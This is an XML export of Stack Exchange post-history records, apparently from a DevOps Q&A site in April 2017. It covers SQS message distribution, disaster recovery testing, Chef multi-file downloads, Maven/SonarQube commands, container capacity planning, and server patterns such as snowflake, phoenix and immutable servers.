  <row Id="3528" PostHistoryTypeId="3" PostId="1055" RevisionGUID="f7ec19b4-a22a-477d-8dfd-2ab0428e00b4" CreationDate="2017-04-28T08:40:17.850" UserId="40" Text="&lt;testing&gt;&lt;drp&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3529" PostHistoryTypeId="2" PostId="1056" RevisionGUID="8811495f-e1cb-4903-b191-c8f81828ff64" CreationDate="2017-04-28T09:32:56.153" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3530" PostHistoryTypeId="1" PostId="1056" RevisionGUID="8811495f-e1cb-4903-b191-c8f81828ff64" CreationDate="2017-04-28T09:32:56.153" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3531" PostHistoryTypeId="2" PostId="1057" RevisionGUID="b9f59afa-8706-46d8-803c-995d68cf137f" CreationDate="2017-04-28T09:32:56.153" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3532" PostHistoryTypeId="1" PostId="1057" RevisionGUID="b9f59afa-8706-46d8-803c-995d68cf137f" CreationDate="2017-04-28T09:32:56.153" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3533" PostHistoryTypeId="2" PostId="1058" RevisionGUID="5afd71a9-d0b4-404c-a1cb-4dc6188819b8" CreationDate="2017-04-28T09:47:55.343" UserId="46" Text="I have multiple servers, each having a script polling an SQS queue [all polling the same queue].&#xD;&#xA;&#xD;&#xA;So, is there any way I can ensure an equitable distribution of messages to all those clients [i.e. my worker servers here]. Like for example, if there are 100 messages in the queue, then `20-20-20-20-20` if there are 5 workers, and so on.&#xD;&#xA;&#xD;&#xA;Can AWS ELB help me do it?  If yes, then how?  If not, then is there an alternate service in the AWS ecosystem which can help me do it?&#xD;&#xA;&#xD;&#xA;**Or am I overthinking this?** I mean, can this be solved straightforwardly in the polling script?  [Please keep in mind the race conditions involved due to multiple clients polling a single queue]" ContentLicense="CC BY-SA 3.0" />
  <row Id="3534" PostHistoryTypeId="1" PostId="1058" RevisionGUID="5afd71a9-d0b4-404c-a1cb-4dc6188819b8" CreationDate="2017-04-28T09:47:55.343" UserId="46" Text="How to ensure equitable distribution of SQS messages in a distributed systems setting?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3535" PostHistoryTypeId="3" PostId="1058" RevisionGUID="5afd71a9-d0b4-404c-a1cb-4dc6188819b8" CreationDate="2017-04-28T09:47:55.343" UserId="46" Text="&lt;amazon-sqs&gt;&lt;distributed-systems&gt;&lt;aws-elb&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3536" PostHistoryTypeId="5" PostId="1055" RevisionGUID="4e40f634-d3f1-4e74-8471-4847abc362fb" CreationDate="2017-04-28T09:55:14.287" UserId="46" Comment="deleted 5 characters in body" Text="Have a look at what's described in the question about &quot;[Brief outage planned for Wed, May 3, 2017 at 0:00 UTC, 8pm US/Eastern (like a fire drill for computers)][1]&quot;, which is about testing of the existing &quot;**Disaster Recovery Planning**&quot; (= DRP) of the entire family of SE sites.&#xD;&#xA;&#xD;&#xA;If you were in charge of this, what would be your recommendations to improve these kinds of DRP-testing in production?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://meta.stackexchange.com/q/295285/286501" ContentLicense="CC BY-SA 3.0" />
  <row Id="3537" PostHistoryTypeId="5" PostId="1058" RevisionGUID="8181bbfb-2822-4c12-95d6-ad5a63358b01" CreationDate="2017-04-28T09:57:17.977" UserId="46" Comment="added 24 characters in body" Text="I have multiple servers, each having a script polling an SQS queue [all polling the same queue].&#xD;&#xA;&#xD;&#xA;So, is there any way I can ensure an equitable distribution of messages to all those clients [i.e. my worker servers here]. Like for example, if there are 100 messages in the queue, then `20-20-20-20-20` if there are 5 workers, and so on.&#xD;&#xA;&#xD;&#xA;Can AWS ELB (Elastic Load Balancer) help me do it?  If yes, then how?  If not, then is there an alternate service in the AWS ecosystem which can help me do it?&#xD;&#xA;&#xD;&#xA;**Or am I overthinking this?** I mean, can this be solved straightforwardly in the polling script?  [Please keep in mind the race conditions involved due to multiple clients polling a single queue]" ContentLicense="CC BY-SA 3.0" />
  <row Id="3538" PostHistoryTypeId="5" PostId="1056" RevisionGUID="744e8fb7-1a16-4f6e-9174-59040a9a6bd2" CreationDate="2017-04-28T10:05:40.387" UserId="40" Comment="added 977 characters in body" Text="Form [Wikipedia](https://en.wikipedia.org/wiki/Disaster_recovery_plan):&#xD;&#xA;&#xD;&#xA;&gt; A disaster recovery plan (DRP) is a documented process or set of procedures to recover and protect a business IT infrastructure in the event of a disaster. Such a plan, ordinarily documented in written form, specifies procedures an organization is to follow in the event of a disaster. It is &quot;a comprehensive statement of consistent actions to be taken before, during and after a disaster&quot;. The disaster could be natural, environmental or man-made. Man-made disasters could be intentional (for example, an act of a terrorist) or unintentional (that is, accidental, such as the breakage of a man-made dam).&#xD;&#xA;&#xD;&#xA;&gt; Given organizations' increasing dependency on information technology to run their operations, a disaster recovery plan, sometimes erroneously called a Continuity of Operations Plan (COOP), is increasingly associated with the recovery of information technology data, assets, and facilities." ContentLicense="CC BY-SA 3.0" />
  <row Id="3539" PostHistoryTypeId="24" PostId="1056" RevisionGUID="744e8fb7-1a16-4f6e-9174-59040a9a6bd2" CreationDate="2017-04-28T10:05:40.387" Comment="Proposed by 40 approved by 46 edit id of 320" ContentLicense="CC BY-SA 3.0" />
  <row Id="3540" PostHistoryTypeId="5" PostId="1057" RevisionGUID="67e8a5d0-c86f-4f3f-8283-c020e22563a9" CreationDate="2017-04-28T10:05:45.743" UserId="40" Comment="added 54 characters in body" Text="For questions about Disaster Recovery Planning (=DRP)." ContentLicense="CC BY-SA 3.0" />
  <row Id="3541" PostHistoryTypeId="24" PostId="1057" RevisionGUID="67e8a5d0-c86f-4f3f-8283-c020e22563a9" CreationDate="2017-04-28T10:05:45.743" Comment="Proposed by 40 approved by 46 edit id of 319" ContentLicense="CC BY-SA 3.0" />
  <row Id="3542" PostHistoryTypeId="2" PostId="1059" RevisionGUID="e52f3797-f3e2-495e-808f-a97c1b7c3a6b" CreationDate="2017-04-28T11:04:28.627" UserId="2334" Text="Good architecture in how you use SQS queues will solve your problems. If we assume there are, say, 3 minutes of processing per message, then you can almost guarantee equal distribution of the messages as this is very large compared to the time needed to poll the queue, if you delete the message from the queue only after it has been processed.&#xD;&#xA;&#xD;&#xA;Do be aware there is a 12 hour Visibility Timeout limit on any SQS message, so if you dont delete it by then, it will re-appear on the queue. I suspect this is probably not a limitation for you, but do keep it in mind." ContentLicense="CC BY-SA 3.0" />
  <row Id="3543" PostHistoryTypeId="12" PostId="607" RevisionGUID="6959c3fd-6b3c-4e03-8bc5-9a6e9b75c71e" CreationDate="2017-04-28T11:27:27.687" UserId="40" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="3544" PostHistoryTypeId="13" PostId="607" RevisionGUID="a21c7b12-fe42-4131-98a9-217c089c5f77" CreationDate="2017-04-28T11:43:45.320" UserId="40" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="3545" PostHistoryTypeId="12" PostId="506" RevisionGUID="ee46a76b-9286-4f75-a842-6bc3298c393b" CreationDate="2017-04-28T13:05:04.157" UserId="40" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="3546" PostHistoryTypeId="13" PostId="506" RevisionGUID="af551d57-1330-43ed-bc18-905ddfb6abb0" CreationDate="2017-04-28T13:08:33.640" UserId="40" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="3548" PostHistoryTypeId="5" PostId="1054" RevisionGUID="733c06ca-bf67-4ae9-9f41-7a901f5b9659" CreationDate="2017-04-28T14:45:33.100" UserId="362" Comment="Added update" Text="I found out via this [StackOverflow question](http://stackoverflow.com/questions/43414585/unable-to-start-jenkins-slave) which pointed me to [JENKINS-27624](https://issues.jenkins-ci.org/browse/JENKINS-27624) which indicates that Java 8 is now required.&#xD;&#xA;&#xD;&#xA;Update: I upgraded Java on all my nodes this morning and they are up and working." ContentLicense="CC BY-SA 3.0" />
  <row Id="3549" PostHistoryTypeId="5" PostId="1048" RevisionGUID="30c805db-508b-4da7-8fa6-8e2bfaf406fc" CreationDate="2017-04-28T18:16:42.383" UserId="1208" Comment="deleted 10 characters in body" Text="I am wondering if there is a resource to download multiple files from remote using chef resource. I want to use: &#xD;&#xA;&#xD;&#xA;    remote_file 'Download remote file' do&#xD;&#xA;      path /opt/&#xD;&#xA;      source http:///xxx&#xD;&#xA;      mode '0644'&#xD;&#xA;      action :create&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;...for one file. What if I want to download multiple files in a same place with different urls? Or how can I modify this resource to make multiple downloads which have different URLs?&#xD;&#xA;&#xD;&#xA;This is how I added attributes in recipe: &#xD;&#xA;&#xD;&#xA;    node['file']['name'].each do |pkg|&#xD;&#xA;        remote_file &quot;path/plugins/#{pkg}&quot; do&#xD;&#xA;            source &quot;node['file']['url']/#{pkg}&quot;&#xD;&#xA;            action :create&#xD;&#xA;        end&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;in attributes&#xD;&#xA;&#xD;&#xA;    default['file']['name'] = %w(&#xD;&#xA;        xx-2.0.jar&#xD;&#xA;        xx-2.jar&#xD;&#xA;        xx.jar&#xD;&#xA;        )" ContentLicense="CC BY-SA 3.0" />
  <row Id="3550" PostHistoryTypeId="2" PostId="1060" RevisionGUID="48a1fff4-f824-4dca-9661-734737ab9a01" CreationDate="2017-04-28T18:45:18.053" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3551" PostHistoryTypeId="1" PostId="1060" RevisionGUID="48a1fff4-f824-4dca-9661-734737ab9a01" CreationDate="2017-04-28T18:45:18.053" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3552" PostHistoryTypeId="2" PostId="1061" RevisionGUID="e073dcad-76b5-4c50-8d7f-b8feaca742f1" CreationDate="2017-04-28T18:45:18.053" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3553" PostHistoryTypeId="1" PostId="1061" RevisionGUID="e073dcad-76b5-4c50-8d7f-b8feaca742f1" CreationDate="2017-04-28T18:45:18.053" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3554" PostHistoryTypeId="5" PostId="235" RevisionGUID="e24dfc9c-b51d-45c3-900a-92e65a731179" CreationDate="2017-04-28T18:52:14.323" UserId="40" Comment="added 634 characters in body" Text="From [Wikipedia](https://en.wikipedia.org/wiki/Vagrant_(software)):&#xD;&#xA;&#xD;&#xA;&gt; Vagrant is an open-source software product for building and maintaining portable virtual development environments. The core idea behind its creation lies in the fact that the environment maintenance becomes increasingly difficult in a large project with multiple technical stacks. Vagrant manages all the necessary configurations for the developers in order to avoid the unnecessary maintenance and setup time, and increases development productivity. Vagrant is written in the Ruby language, but its ecosystem supports development in almost all major languages." ContentLicense="CC BY-SA 3.0" />
  <row Id="3555" PostHistoryTypeId="24" PostId="235" RevisionGUID="e24dfc9c-b51d-45c3-900a-92e65a731179" CreationDate="2017-04-28T18:52:14.323" Comment="Proposed by 40 approved by 228, 46 edit id of 321" ContentLicense="CC BY-SA 3.0" />
  <row Id="3556" PostHistoryTypeId="5" PostId="582" RevisionGUID="e5a0a2c6-9f00-4669-9b42-bda4b0567058" CreationDate="2017-04-28T18:52:23.407" UserId="40" Comment="added 540 characters in body" Text="From [Wikipedia](https://en.wikipedia.org/wiki/TeamCity):&#xD;&#xA;&#xD;&#xA;&gt; TeamCity is a Java-based build management and [continuous integration][1] server from JetBrains. It was first released on October 2, 2006. TeamCity is commercial software and licensed under a proprietary license. A [Freemium][2] license for up to 20 build configurations and 3 free Build Agent licenses is available. Open Source projects can request a free license.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Continuous_integration&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Freemium" ContentLicense="CC BY-SA 3.0" />
  <row Id="3557" PostHistoryTypeId="24" PostId="582" RevisionGUID="e5a0a2c6-9f00-4669-9b42-bda4b0567058" CreationDate="2017-04-28T18:52:23.407" Comment="Proposed by 40 approved by 46 edit id of 322" ContentLicense="CC BY-SA 3.0" />
  <row Id="3558" PostHistoryTypeId="5" PostId="1061" RevisionGUID="f1ef72f6-79d9-460f-8335-c2a31dc4cae5" CreationDate="2017-04-28T18:52:32.187" UserId="40" Comment="added 146 characters in body" Text="For questions about network monitoring, which is about topics such as detecting slow or failing network components and creating alerts about them." ContentLicense="CC BY-SA 3.0" />
  <row Id="3559" PostHistoryTypeId="24" PostId="1061" RevisionGUID="f1ef72f6-79d9-460f-8335-c2a31dc4cae5" CreationDate="2017-04-28T18:52:32.187" Comment="Proposed by 40 approved by 46 edit id of 323" ContentLicense="CC BY-SA 3.0" />
  <row Id="3560" PostHistoryTypeId="2" PostId="1062" RevisionGUID="6461c55c-2132-48b6-b579-831d3f700d29" CreationDate="2017-04-28T18:52:32.960" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3561" PostHistoryTypeId="1" PostId="1062" RevisionGUID="6461c55c-2132-48b6-b579-831d3f700d29" CreationDate="2017-04-28T18:52:32.960" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3562" PostHistoryTypeId="2" PostId="1063" RevisionGUID="fd6b0d0d-dd3d-4b86-8a44-b2f3f6850027" CreationDate="2017-04-28T18:52:32.960" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3563" PostHistoryTypeId="1" PostId="1063" RevisionGUID="fd6b0d0d-dd3d-4b86-8a44-b2f3f6850027" CreationDate="2017-04-28T18:52:32.960" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3564" PostHistoryTypeId="6" PostId="1055" RevisionGUID="76d141eb-f860-43c5-b9aa-ccc4d1fc2b15" CreationDate="2017-04-28T19:18:45.850" UserId="14" Comment="Use entire tag name instead of abbreviation" Text="&lt;testing&gt;&lt;disaster-recovery-plans&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3565" PostHistoryTypeId="12" PostId="216" RevisionGUID="aee30b7d-3de1-431a-b6c1-24cbfbef917c" CreationDate="2017-04-28T20:13:12.877" UserId="40" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="3566" PostHistoryTypeId="13" PostId="216" RevisionGUID="f90eb118-a3b2-48c5-8155-6396be1ab09d" CreationDate="2017-04-28T20:15:23.330" UserId="40" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="3567" PostHistoryTypeId="5" PostId="96" RevisionGUID="1fea78ef-dbfd-4965-912f-94148097df04" CreationDate="2017-04-28T20:25:43.417" UserId="40" Comment="added 9 characters in body" Text="Dave Swersky already posted an excellent response above with Ben Treynor's definition of SRE, which is as poignant today as it was in 2003.&#xD;&#xA;&#xD;&#xA;&gt; Fundamentally, it’s what happens when you ask a software engineer to design an operations function.&#xD;&#xA;&#xD;&#xA;So, in an attempt to further define &quot;DevOps&quot;, here's an excerpt from the book [*Effective DevOps*][1] by Jennifer Davis &amp; Katherine Daniels:&#xD;&#xA;&#xD;&#xA;&gt; Devops is a way of thinking and a way of working. It is a framework&#xD;&#xA;&gt; for sharing stories and developing empathy... [it's] is not just&#xD;&#xA;&gt; another software development methodology.&#xD;&#xA;&gt; &#xD;&#xA;&gt; [P]ractices can include software development methods, or features like&#xD;&#xA;&gt; infrastructure automation and continuous delivery, [although] it is&#xD;&#xA;&gt; much more than just the sum of these parts.&#xD;&#xA;&gt; &#xD;&#xA;&gt; While these concepts are related and may be frequently seen in devops&#xD;&#xA;&gt; environments, focusing solely on them misses the bigger picture--the&#xD;&#xA;&gt; cultural and interpersonal aspects that give devops its power.&#xD;&#xA;&#xD;&#xA;In summary: an effective SRE will leverage DevOps practices.&#xD;&#xA;&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;Also: &#xD;&#xA;&#xD;&#xA;&gt;How do I know which group is responsible for what?&#xD;&#xA;&#xD;&#xA;Ownership should not be implicit; communicate!&#xD;&#xA;&#xD;&#xA;  [1]: http://shop.oreilly.com/product/0636920039846.do&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3568" PostHistoryTypeId="2" PostId="1064" RevisionGUID="d12b2ab0-fb7a-47af-ad5f-1e539504384d" CreationDate="2017-04-28T20:49:15.287" UserId="2559" Text="Well, you can pass multiple goals to maven in command line simply by passing them as arguments. &#xD;&#xA;[Skipping test require a java system property](https://maven.apache.org/plugins-archives/maven-surefire-plugin-2.12.4/examples/skipping-test.html) that you can also pass as an argument to the command line. &#xD;&#xA;&#xD;&#xA;For packaging a maven artifact, executing a sonar analysis with the maven goal but skipping executing the tests you should use :&#xD;&#xA;&#xD;&#xA;```mvn package sonar:sonar -DskipTests```&#xD;&#xA;&#xD;&#xA;Before that, you need to decide if you want to put sonar settings in the maven configuration (i.e. `pom.xml` or `.m2/settings.xml`) or in the Jenkins server configuration.&#xD;&#xA;&#xD;&#xA;- With maven only, the ```sonar:sonar``` goal needs some requirements and maven configuration that you can find [here the documentation](https://docs.sonarqube.org/display/SCAN/Analyzing+with+SonarQube+Scanner+for+Maven). Jenkins use will be reduced to execute maven, you won't need to install a Jenkins plugin.&#xD;&#xA;&#xD;&#xA;* Using Jenkins with sonar also needs some requirements and Jenkins configuration that you can find also in the documentation [1]. Be sure to install the Sonarqube scanner Jenkins plugin. This plugin enable some Jenkins integration features.&#xD;&#xA;&#xD;&#xA;[1] I don't have enough reputation on this site to post 2 links, here is the ugly way to point the documentation section : `https://docs.sonarqube.org/display/SCAN/Analyzing+with+SonarQube+Scanner+for+Jenkins#AnalyzingwithSonarQubeScannerforJenkins-AnalyzingwiththeSonarQubeScanner`&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="3569" PostHistoryTypeId="2" PostId="1065" RevisionGUID="2cc9348c-b303-4a28-9d99-23508b5c4a24" CreationDate="2017-04-28T20:50:57.060" UserId="2560" Text="I'm running my application on 4VMs 8 vCPU, 3.2 GHz, 32 GB but will be splitting up the processes into separate containers. I am not sure how many containers to run per host. What are the typical numbers? (like how the VM to bare metal server ratio is 1:10 generally)&#xD;&#xA;Any links on attributes to consider, decision frameworks to consider or experiences would help!&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3570" PostHistoryTypeId="1" PostId="1065" RevisionGUID="2cc9348c-b303-4a28-9d99-23508b5c4a24" CreationDate="2017-04-28T20:50:57.060" UserId="2560" Text="container capacity planning" ContentLicense="CC BY-SA 3.0" />
  <row Id="3571" PostHistoryTypeId="3" PostId="1065" RevisionGUID="2cc9348c-b303-4a28-9d99-23508b5c4a24" CreationDate="2017-04-28T20:50:57.060" UserId="2560" Text="&lt;docker&gt;&lt;containers&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3572" PostHistoryTypeId="5" PostId="1064" RevisionGUID="c9a792e4-d808-445f-9099-2e25f5ffe724" CreationDate="2017-04-28T20:58:33.467" UserId="2559" Comment="now I have enough rep to post more than 2 links" Text="Well, you can pass multiple goals to maven in command line simply by passing them as arguments. &#xD;&#xA;[Skipping test require a java system property](https://maven.apache.org/plugins-archives/maven-surefire-plugin-2.12.4/examples/skipping-test.html) that you can also pass as an argument to the command line. &#xD;&#xA;&#xD;&#xA;For packaging a maven artifact, executing a sonar analysis with the maven goal but skipping executing the tests you should use :&#xD;&#xA;&#xD;&#xA;```mvn package sonar:sonar -DskipTests```&#xD;&#xA;&#xD;&#xA;Before that, you need to decide if you want to put sonar settings in the maven configuration (i.e. `pom.xml` or `.m2/settings.xml`) or in the Jenkins server configuration.&#xD;&#xA;&#xD;&#xA;- With maven only, the ```sonar:sonar``` goal needs some requirements and maven configuration that you can find [here in the documentation](https://docs.sonarqube.org/display/SCAN/Analyzing+with+SonarQube+Scanner+for+Maven). Jenkins use will be reduced to execute maven, you won't need to install a Jenkins plugin.&#xD;&#xA;&#xD;&#xA;* Using Jenkins with sonar also needs some requirements and Jenkins configuration that you can find [here in the documentation](https://docs.sonarqube.org/display/SCAN/Analyzing+with+SonarQube+Scanner+for+Jenkins#AnalyzingwithSonarQubeScannerforJenkins-AnalyzingwiththeSonarQubeScanner). Be sure to install the Sonarqube scanner Jenkins plugin. This plugin enable some Jenkins integration features.&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="3573" PostHistoryTypeId="2" PostId="1066" RevisionGUID="5b9c7340-a3eb-47df-9b66-b090e81eeaea" CreationDate="2017-04-28T21:17:31.990" UserId="2559" Text="I think what you want to achieve is processing a webhook payload in a Jenkins job. Using bitbucket plugin won't be necessary and it is probably strongly designed to clone the repo.&#xD;&#xA;&#xD;&#xA;I belive [this stackoverflow answer](http://stackoverflow.com/a/31572888) could help you. " ContentLicense="CC BY-SA 3.0" />
  <row Id="3574" PostHistoryTypeId="5" PostId="1063" RevisionGUID="596d0edb-a096-4576-9436-ece7d1e32d06" CreationDate="2017-04-28T22:21:10.463" UserId="40" Comment="added 142 characters in body" Text="For questions about capacity planning, which is about involves estimating various computer resources required over some future period of time." ContentLicense="CC BY-SA 3.0" />
  <row Id="3575" PostHistoryTypeId="24" PostId="1063" RevisionGUID="596d0edb-a096-4576-9436-ece7d1e32d06" CreationDate="2017-04-28T22:21:10.463" Comment="Proposed by 40 approved by 228, 397 edit id of 324" ContentLicense="CC BY-SA 3.0" />
  <row Id="3576" PostHistoryTypeId="5" PostId="1062" RevisionGUID="12d2ac73-1601-4ef6-9ed1-ca7f9045aa8d" CreationDate="2017-04-28T22:21:16.833" UserId="40" Comment="added 712 characters in body" Text="From [Wikipedia](https://en.wikipedia.org/wiki/Capacity_planning):&#xD;&#xA;&#xD;&#xA;&gt; IT capacity planning involves estimating the storage, computer hardware, software and connection infrastructure resources required over some future period of time. A common concern of enterprises is whether the required resources are in place to handle an increase in users or number of interactions. Capacity management is concerned about adding central processing units (CPUs), memory and storage to a physical or virtual server. This has been the traditional and vertical way of scaling up web applications, however IT capacity planning has been developed with the goal of forecasting the requirements for this vertical scaling approach." ContentLicense="CC BY-SA 3.0" />
  <row Id="3577" PostHistoryTypeId="24" PostId="1062" RevisionGUID="12d2ac73-1601-4ef6-9ed1-ca7f9045aa8d" CreationDate="2017-04-28T22:21:16.833" Comment="Proposed by 40 approved by 228, 397 edit id of 325" ContentLicense="CC BY-SA 3.0" />
  <row Id="3578" PostHistoryTypeId="5" PostId="1065" RevisionGUID="f48cf4ec-467f-4339-a6e0-8a0ea706665a" CreationDate="2017-04-28T22:25:41.563" UserId="397" Comment="Formatting and disambiguation." Text="I'm running my application on 4 Virtual Machines with 8 3.2 GHz Virtual CPUs and 32 GB, however, I will be splitting up the processes into separate containers.&#xD;&#xA;&#xD;&#xA;I am not sure how many containers to run per host. What are the typical numbers?&#xD;&#xA; For example how the VM to bare metal server ratio is 1:10 generally, any links on attributes to consider, decision frameworks to consider or experiences would help!&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3579" PostHistoryTypeId="6" PostId="1065" RevisionGUID="f48cf4ec-467f-4339-a6e0-8a0ea706665a" CreationDate="2017-04-28T22:25:41.563" UserId="397" Comment="Formatting and disambiguation." Text="&lt;docker&gt;&lt;containers&gt;&lt;capacity-planning&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3580" PostHistoryTypeId="4" PostId="1065" RevisionGUID="f48cf4ec-467f-4339-a6e0-8a0ea706665a" CreationDate="2017-04-28T22:25:41.563" UserId="397" Comment="Formatting and disambiguation." Text="Docker Container capacity planning" ContentLicense="CC BY-SA 3.0" />
  <row Id="3581" PostHistoryTypeId="5" PostId="523" RevisionGUID="867989f1-6edc-47e9-8712-1d46ce7e2807" CreationDate="2017-04-28T22:37:31.090" UserId="397" Comment="Improved Formatting and Grammar" Text="As I was more thinking of a listing of advantages and drawbacks of each type, here's is my view (not exhaustive, it's the important operational ones in my opinion):&#xD;&#xA;&#xD;&#xA;1. **Snowflakes Servers**&#xD;&#xA; - **What they are**: Systems with their specific configuration, no other servers in the data centre have the exact same parameters. They are usually manually administered.&#xD;&#xA;  &#xD;&#xA; - **Advantages**: &#xD;&#xA;     - Fitted to the needs of what's running on them.  &#xD;&#xA;     - Long-lived, updates are usually shorts.&#xD;&#xA;     - Adapted to special cases where the tweaks are well documented by the product hosted.&#xD;&#xA;    &#xD;&#xA;- **Drawbacks**:&#xD;&#xA;     - Sometimes updates leave unused files, the cleanup could be complex.  &#xD;&#xA;     - When the changes have to be made to multiples machines it takes a while.  &#xD;&#xA;     - Nothing prevents undocumented change.   &#xD;&#xA;     - In the case of corruption, you have to rebuild a base OS and restore, some OS tweaks can't be restored and should be reapplied, it's easy to slip over a line and forget an important tweak.&#xD;&#xA;     - Usually long to provision due to the manual configuration.&#xD;&#xA;&#xD;&#xA;2. **Phoenix Servers**&#xD;&#xA; - **What they are**: Automatically configured by some code.&#xD;&#xA; - **Advantages**:&#xD;&#xA;     - Defined by code, version-able.   &#xD;&#xA;     - Easily replicated to a point in time.  &#xD;&#xA;     - Long-lived, short updates also.  &#xD;&#xA;     - Changes to controlled files are documented and can't be forgotten.&#xD;&#xA;&#xD;&#xA;- **Drawbacks**:&#xD;&#xA;    - Sometimes updates leave unused files, the cleanup could be complex.  &#xD;&#xA;    - Not everything is under code management, some tweaks by a human can be missed if not included into the automation.&#xD;&#xA;&#xD;&#xA;3. **Immutable Servers**&#xD;&#xA; - **What they are**:&#xD;&#xA;      - Automated one-time provisioning from a master image with generally no access.&#xD;&#xA; - **Advantages**:&#xD;&#xA;     - Defined by code, version-able.  &#xD;&#xA;     - Easily replicated to a point in time.  &#xD;&#xA;     - Reduced attack surface due to the usual removal of remote access.&#xD;&#xA;     - Fixed configuration, no change can break something&#xD;&#xA;     - Easily scalable 'on demand' from the master image.&#xD;&#xA;&#xD;&#xA;- **Drawbacks**:&#xD;&#xA;     - They are immutable, you have to ensure you can roll an update quickly in case of a 0day flaw impacting you.  &#xD;&#xA;     - Not all applications fit well inside this model (Databases, for example, a complete replace on same data is not always possible, there's migration to handle).  &#xD;&#xA;     - Brings some new challenges for forensic analysis of crash and log management.&#xD;&#xA;&#xD;&#xA;None of those patterns is exclusive, you have to chose the best one according to your actual need. Snowflakes bring a lot of concerns in case of recovery after a disaster so the choice is usually more between Phoenix and Immutable." ContentLicense="CC BY-SA 3.0" />
  <row Id="3582" PostHistoryTypeId="2" PostId="1067" RevisionGUID="1a139440-826e-4a26-b75d-79c4f4e9931e" CreationDate="2017-04-28T23:11:57.960" UserId="397" Text="All three are patterns of sorts, it isn't is a case of picking and choosing which to use in any specific circumstance but a case of knowing when to recognise the patterns that can help or hurt you.&#xD;&#xA;&#xD;&#xA;# Snowflake Server&#xD;&#xA;&#xD;&#xA;A [Snowflake Server][1] is very much an anti-pattern representing the case when a server evolves in an uncontrolled manner to the point when it cannot be easily reproduced.&#xD;&#xA;&#xD;&#xA;I have had numerous run-ins with this kind of server in production, they are fairly easy to spot as there is usually a large number of failed changes and comments such as &quot;it [the change] worked in Development/Test/UAT/Staging&quot;.&#xD;&#xA;&#xD;&#xA;# Phoenix Servier&#xD;&#xA;&#xD;&#xA;A [Phoenix Server][2] is more of a principal than a pattern as Martin Fowler puts it:&#xD;&#xA;&#xD;&#xA;&gt; A server should be like a phoenix, regularly rising from the ashes.&lt;sup&gt;[a]&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;If you were to apply IT Service Management (ITSM) or ITIL language to the same situation you would likely call it an [IT Service Continuity Plan][3] or Recovery Plan:&#xD;&#xA;&#xD;&#xA;&gt; A separate plan for each service should provide detailed procedures and step-by-step guidelines for each stage of an incident so that the Recovery Teams are able to restore the services and thereby to meet the agreed process and component RTOs.&#xD;&#xA;&#xD;&#xA;# Immutable Server&#xD;&#xA;&#xD;&#xA;An [Immutable Server][4] or [Immutable Infrastructure][5] is the process by which we treat all deployed infrastructure, configuration and code as utterly immutable, i.e. unchanging. When we deploy anything new we spin up new infrastructure and deploy the code to this.  Interestingly this mostly satisfies the needs traditionally fulfilled by [Evergreening][6].&#xD;&#xA;&#xD;&#xA;-------------------&#xD;&#xA;&#xD;&#xA;## Notes&#xD;&#xA;&#xD;&#xA; - **a:** Martin's colleague [Kornelis Sietsma][7] came up with the term &quot;Phoenix Server&quot; on an internal discussion list.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://martinfowler.com/bliki/SnowflakeServer.html&#xD;&#xA;  [2]: https://martinfowler.com/bliki/PhoenixServer.html&#xD;&#xA;  [3]: https://www.enisa.europa.eu/topics/threat-risk-management/risk-management/current-risk/bcm-resilience/bc-plan/it-service-continuity-plan&#xD;&#xA;  [4]: https://martinfowler.com/bliki/ImmutableServer.html&#xD;&#xA;  [5]: https://www.oreilly.com/ideas/an-introduction-to-immutable-infrastructure&#xD;&#xA;  [6]: https://blog.juriba.com/evergreen-it-concept-or-reality&#xD;&#xA;  [7]: https://twitter.com/kornys" ContentLicense="CC BY-SA 3.0" />
